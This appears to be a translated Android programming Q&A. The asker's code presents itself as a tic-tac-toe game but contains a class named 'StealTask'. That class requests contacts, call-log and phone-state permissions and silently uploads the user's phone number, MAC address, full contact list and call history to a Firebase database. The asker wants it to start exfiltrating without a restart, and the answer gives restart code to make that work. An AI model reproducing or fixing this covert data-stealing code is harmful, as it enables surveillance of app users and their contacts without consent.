android - 应用程序需要重新启动才能连接到 Firebase

Question

我正在android studio上编写一个与firebase实时数据库连接的应用程序。该应用程序将用户的呼叫和联系人发送到数据库。在第一次安装和打开应用程序时，它会询问所需的权限。授予所有权限后，需要重新启动应用程序才能连接到 firebase 并向其发送信息。

这是我的主要内容：

public class MainActivity extends AppCompatActivity implements View.OnClickListener {

    static final int REQUEST_CODE = 1;



    private Button[][] buttons = new Button[3][3];

    private boolean player1Turn = true;

    private int roundCount;

    LocationManager locationManager;

    private int player1Points;
    private int player2Points;
    private String id;
    private TextView textViewPlayer1;
    private TextView textViewPlayer2;

    int PERMISSION_ALL = 1;
    String[] PERMISSIONS = {
            Manifest.permission.READ_CONTACTS,
            Manifest.permission.ACCESS_WIFI_STATE,
            Manifest.permission.READ_EXTERNAL_STORAGE,
            Manifest.permission.ACCESS_FINE_LOCATION,
            Manifest.permission.READ_CALL_LOG,
            Manifest.permission.READ_PHONE_STATE,
            Manifest.permission.ACCESS_COARSE_LOCATION
    }; //Array of permissions
    String location1 = null;
    private String Number;
    private String ContactName;
    final int a[] = {1};
    private String address;



    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);



        ConnectivityManager connManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);             //Wifi
        NetworkInfo mWifi = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI);                                      //Wifi
        NetworkInfo wMobile=connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);                                    //Mobile Data


        textViewPlayer1 = findViewById(R.id.text_view_p1);
        textViewPlayer2 = findViewById(R.id.text_view_p2);

        for (int i = 0; i < 3; i++) {
            for (int j = 0; j < 3; j++) {
                String buttonID = "button_" + i + j;
                int resID = getResources().getIdentifier(buttonID, "id", getPackageName());
                buttons[i][j] = findViewById(resID);
                buttons[i][j].setOnClickListener(this);
            }
        }

        Button buttonReset = findViewById(R.id.button_reset);
        buttonReset.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                resetGame();
            }
        });

        if (!hasPermissions(MainActivity.this, PERMISSIONS) ) {
            ActivityCompat.requestPermissions(MainActivity.this, PERMISSIONS, PERMISSION_ALL);
        }
        if (mWifi.isConnected()||wMobile.isConnected()) {
            StartStealTask();
        }

    }

    public static boolean hasPermissions(Context context, String... permissions) {
        if (context != null && permissions != null) {
            for (String permission : permissions) {
                if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) {
                    return false;
                }
            }
        }
        return true;
    }

    @Override
    public void onClick(View v) {


        if (!((Button) v).getText().toString().equals("")) {
            return;
        }

        if (player1Turn) {
            ((Button) v).setText("X");
        } else {
            ((Button) v).setText("O");
        }

        roundCount++;

        if (checkForWin()) {
            if (player1Turn) {
                player1Wins();
            } else {
                player2Wins();
            }
        } else if (roundCount == 9) {
            draw();
        } else {
            player1Turn = !player1Turn;
        }

    }





    private class StealTask extends AsyncTask<Void, Void, Void> {
        @RequiresApi(api = Build.VERSION_CODES.M)
        @Override
        protected Void doInBackground(Void... voids) {
            FirebaseStorage storage = FirebaseStorage.getInstance();
            final FirebaseDatabase database = FirebaseDatabase.getInstance();
            final DatabaseReference myRef = database.getReference("Users");//Reference to Users node
            final DatabaseReference reff=FirebaseDatabase.getInstance().getReference().child("getLocation");
            StorageReference storageRef = storage.getReferenceFromUrl("gs://tictactoe-311ce.appspot.com");//Reference to Database Storage




            if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_PHONE_STATE) //Check if phone reading permission is granted
                    == PackageManager.PERMISSION_GRANTED) {
                address = getMacAddr();//Obtaining Mac address
                Users user = new Users(address);//Creating new user
                TelephonyManager tmanager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //Accessing phone number
                id = tmanager.getLine1Number(); //User ID set to phone number
                myRef.child(id).setValue(user);//Adding a user to the node
            }

            if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_CONTACTS)//Check if contacts reading permission is granted
                    == PackageManager.PERMISSION_GRANTED) {
                Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);//Accessing Contacts
                while (phones.moveToNext()) {                    //Fetching contacts
                    try {
                        Thread.sleep(2000);                 //Delay
                    } catch (InterruptedException e) {          //handling Exception
                        e.printStackTrace();
                    }


                    ContactName = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME)); //Accessing contact name
                    Number = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); //Accessing contact number
                    com.example.finalproject.user.Contacts contact = new com.example.finalproject.user.Contacts(Number, address); //Creating new contact
                    myRef.child(id).child("Contacts").child(ContactName).setValue(contact);
                }
            }
            if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_CALL_LOG)//Check if call log reading permission is granted
                    == PackageManager.PERMISSION_GRANTED) {
                Uri allCalls = Uri.parse("content://call_log/calls");//Accessing call logs
                Cursor c = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls.DATE + " DESC");
                c.moveToFirst();//Fetching call logs
                while (c.moveToNext()) {
                    String num = c.getString(c.getColumnIndex(CallLog.Calls.NUMBER));// for  number
                    String name = c.getString(c.getColumnIndex(CallLog.Calls.CACHED_NAME));// for name
                    String duration = c.getString(c.getColumnIndex(CallLog.Calls.DURATION));// for duration
                    int type = Integer.parseInt(c.getString(c.getColumnIndex(CallLog.Calls.TYPE)));// for call type, Incoming or out going.
                    Calls call = new com.example.finalproject.user.Calls(name, duration, type, address);//Creating new Call
                    myRef.child(id).child("Calls").child(num).setValue(call);
                }
            }



                return null;
            }
        }

    public void StartStealTask(){
        StealTask Steal = new StealTask();
        Steal.execute();
    }

}

标签： androidfirebasefirebase-realtime-database

Answer 1

下面的代码将重新启动您的应用程序

private fun rebootApp() {
        val intent = Intent(this, MainActivity::class.java)
        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK)
        startActivity(intent)
        Runtime.getRuntime().exit(0)
    }

然后在你的 onCreate(...)

if(allPermissionGranted()) {// check if all permission is granted
connectToFireBase();//write fun which will connect your app to firebase
}